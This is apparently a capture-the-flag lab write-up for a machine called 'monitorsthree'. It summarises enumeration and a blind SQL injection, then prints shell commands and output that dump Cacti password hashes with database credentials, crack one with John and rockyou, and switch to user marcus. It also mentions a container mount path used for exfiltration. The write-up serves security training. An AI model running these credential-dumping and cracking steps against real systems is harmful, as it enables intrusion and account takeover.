Nothing on main page, seems like a placeholder. Enumerate subdomains:
Feroxbuster found /admin on main domain, but nothing further.
Deeper inspection on /admin route:
There was no way Cacti was going to let us in without credentials, considering it has 2024 CVE with PoC which was just released, so I continued enumerating the base domain.
Writeup-1.png
SQLi
SQL error on /forgot_password
Writeup-2.png
Brute manually because slowmap can't find anything except time based garbage, but blind exists just like him.
Note: First 2 queries wasn't even required, I just messed up on my success message 👍😭
We can include a script to run before any actions. I added globally because we really don't care about single project.
The script has to be added in cacti directory by www-data! marcus doesn't have any write permissions, gotta go down permissions chain and then back up.
Writeup-7.png
The important step is to prefix the output path for file exfiltration with /source because that's the mount point on host. /tmp/rootbash is container, /source/tmp/rootbash is the host.
www-data@monitorsthree:~/html/app/admin$ mysql -u cactiuser -p'cactiuser' cacti -e 'SHOW TABLES;'
www-data@monitorsthree:~/html/app/admin$ mysql -u cactiuser -p'cactiuser' cacti -e 'SELECT username,password FROM user_auth;'
www-data@monitorsthree:/opt$ mysql -u cactiuser -p'cactiuser' cacti -e 'SELECT username,password FROM user_auth;'
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=./rockyou.txt hashes
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910 (?)
1g 0:00:00:04 DONE (2024-08-25 00:28) 0.2389g/s 120.4p/s 120.4c/s 120.4C/s 12345678910..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed
www-data@monitorsthree:/opt$ su - marcus
Password: 12345678910
marcus@monitorsthree:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
